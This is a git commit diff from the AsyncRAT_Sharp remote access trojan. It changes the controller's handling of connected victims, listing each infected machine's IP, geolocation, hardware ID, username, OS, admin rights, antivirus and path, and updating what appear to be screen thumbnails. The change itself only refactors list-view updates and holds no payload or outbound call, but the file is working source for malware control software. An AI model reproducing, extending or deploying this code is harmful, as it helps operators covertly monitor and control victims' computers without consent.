Remove BeginUpdate EndUpdate

This commit is contained in:
NYAN CAT 2019-06-01 13:09:22 +03:00
parent 55e0a49dff
commit 4511d9fb57
3 changed files with 27 additions and 35 deletions

View File

@ -12,39 +12,37 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
public void AddToListview(Clients client, MsgPack unpack_msgpack) public void AddToListview(Clients client, MsgPack unpack_msgpack)
{ {
if (Program.form1.listView1.InvokeRequired) try
{ {
Program.form1.listView1.BeginInvoke((MethodInvoker)(() => client.LV = new ListViewItem();
client.LV.Tag = client;
client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
string[] ipinf;
try
{ {
try ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
{ }
client.LV = new ListViewItem(); catch { ipinf = new string[] { "?", "?" }; }
client.LV.Tag = client; client.LV.SubItems.Add(ipinf[1]);
client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
string[] ipinf; client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
try client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
{ client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
} client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
catch { ipinf = new string[] { "?", "?" }; } client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
client.LV.SubItems.Add(ipinf[1]); client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
lock (Settings.Listview1Lock) lock (Settings.Listview1Lock)
{ {
Program.form1.listView1.BeginUpdate();
Program.form1.listView1.Items.Add(client.LV); Program.form1.listView1.Items.Add(client.LV);
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
Program.form1.listView1.EndUpdate();
} }
if (Properties.Settings.Default.Notification == true) if (Properties.Settings.Default.Notification == true)
@ -53,10 +51,10 @@ namespace AsyncRAT_Sharp.Handle_Packet
{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}"; {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}";
Program.form1.notifyIcon1.ShowBalloonTip(100); Program.form1.notifyIcon1.ShowBalloonTip(100);
} }
} }));
catch { } }
}));
} }
catch { }
lock (Settings.Online) lock (Settings.Online)
{ {

View File

@ -24,9 +24,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
LV.ForeColor = color; LV.ForeColor = color;
lock (Settings.Listview2Lock) lock (Settings.Listview2Lock)
{ {
Program.form1.listView2.BeginUpdate();
Program.form1.listView2.Items.Insert(0, LV); Program.form1.listView2.Items.Insert(0, LV);
Program.form1.listView2.EndUpdate();
} }
})); }));
} }

View File

@ -28,9 +28,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
client.LV2.ImageKey = client.ID; client.LV2.ImageKey = client.ID;
lock (Settings.Listview3Lock) lock (Settings.Listview3Lock)
{ {
Program.form1.listView3.BeginUpdate();
Program.form1.listView3.Items.Add(client.LV2); Program.form1.listView3.Items.Add(client.LV2);
Program.form1.listView3.EndUpdate();
} }
} }
} }
@ -40,10 +38,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
lock (Settings.Listview3Lock) lock (Settings.Listview3Lock)
{ {
Program.form1.listView3.BeginUpdate();
Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID); Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID);
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
Program.form1.listView3.EndUpdate();
} }
} }
} }